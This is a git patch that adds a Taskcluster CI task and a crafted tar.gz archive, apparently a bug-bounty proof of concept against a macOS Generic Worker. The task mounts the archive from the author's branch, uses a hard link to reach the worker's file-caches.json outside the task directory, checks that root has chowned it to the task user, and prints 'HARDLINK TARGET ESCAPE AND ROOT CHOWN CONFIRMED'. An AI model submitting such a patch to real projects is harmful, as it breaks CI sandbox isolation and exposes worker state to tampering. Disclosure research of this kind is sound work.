From 94c8737828be6ac68669f1f98ab0b0f16839f4f7 Mon Sep 17 00:00:00 2001
From: rpgsec <rpgsec@users.noreply.github.com>
Date: Mon, 17 Aug 2026 10:59:11 -0500
Subject: [PATCH] test: add benign macOS mount ownership probe

---
 taskcluster/h1-hardlink-owner-proof.tar.gz | Bin 0 -> 115 bytes
 taskcluster/kinds/swift/kind.yml           |  44 +++++++++++++++++++++
 2 files changed, 44 insertions(+)
 create mode 100644 taskcluster/h1-hardlink-owner-proof.tar.gz

diff --git a/taskcluster/h1-hardlink-owner-proof.tar.gz b/taskcluster/h1-hardlink-owner-proof.tar.gz
new file mode 100644
index 0000000000000000000000000000000000000000..e7d985bd75df055531f829144c487331d7f33ea9
GIT binary patch
literal 115
zcmb2|=3oE;rvGoxIr23bh_GCcJIWo<E%nZsgJnv9^Vfeuv74^8o~)jk^6%aG+Ow4_
zo@MTAo$onYZE5-P+V}5&-I=5JFyMH_pOhKT_Px55_r`nAv^_P2cQ)JHDy^0W8x0~J
Q)bC+X)45*7puxZZ0Ofo%asU7T

literal 0
HcmV?d00001

diff --git a/taskcluster/kinds/swift/kind.yml b/taskcluster/kinds/swift/kind.yml
index b618ecb242b..5e3210e2b40 100644
--- a/taskcluster/kinds/swift/kind.yml
+++ b/taskcluster/kinds/swift/kind.yml
@@ -18,6 +18,50 @@ kind-dependencies:
   - toolchain
 
 tasks:
+  hardlink-owner-proof:
+    attributes:
+      run-on-pr-type: full-ci
+    run-on-tasks-for: [github-pull-request]
+    description: Benign macOS Generic Worker hard-link ownership probe
+    worker-type: b-osx
+    worker:
+      chain-of-trust: true
+      max-run-time: 300
+      mounts:
+        - content:
+            url: https://raw.githubusercontent.com/rpgsec/application-services/h1-macos-hardlink-owner-poc/taskcluster/h1-hardlink-owner-proof.tar.gz
+          directory: h1-hardlink-owner-proof
+          format: tar.gz
+    run:
+      commands:
+        - - /bin/sh
+          - -c
+          - |
+            set -eu
+            proof_link="$(find /opt/worker/tasks -path '*/h1-hardlink-owner-proof/proof-link' -print -quit)"
+            test -n "$proof_link"
+            task_uid="$(id -u)"
+            link_uid="$(stat -f '%u' "$proof_link")"
+            link_gid="$(stat -f '%g' "$proof_link")"
+            link_inode="$(stat -f '%i' "$proof_link")"
+            link_size="$(stat -f '%z' "$proof_link")"
+            state_uid="$(stat -f '%u' /opt/worker/file-caches.json)"
+            state_gid="$(stat -f '%g' /opt/worker/file-caches.json)"
+            state_inode="$(stat -f '%i' /opt/worker/file-caches.json)"
+            state_size="$(stat -f '%z' /opt/worker/file-caches.json)"
+            id
+            printf 'proof_link=%s\n' "$proof_link"
+            printf 'link_uid=%s link_gid=%s link_inode=%s link_size=%s\n' "$link_uid" "$link_gid" "$link_inode" "$link_size"
+            printf 'state_uid=%s state_gid=%s state_inode=%s state_size=%s\n' "$state_uid" "$state_gid" "$state_inode" "$state_size"
+            test "$link_inode" = "$state_inode"
+            test "$link_uid" = "$task_uid"
+            test "$state_uid" = "$task_uid"
+            echo 'RESULT: HARDLINK TARGET ESCAPE AND ROOT CHOWN CONFIRMED'
+            echo 'SAFETY: metadata only; file contents were not read or written'
+      using: run-commands
+      run-task-command: ["/usr/local/bin/python3", "run-task"]
+      use-caches: false
+
   build:
     attributes:
       run-on-pr-type: full-ci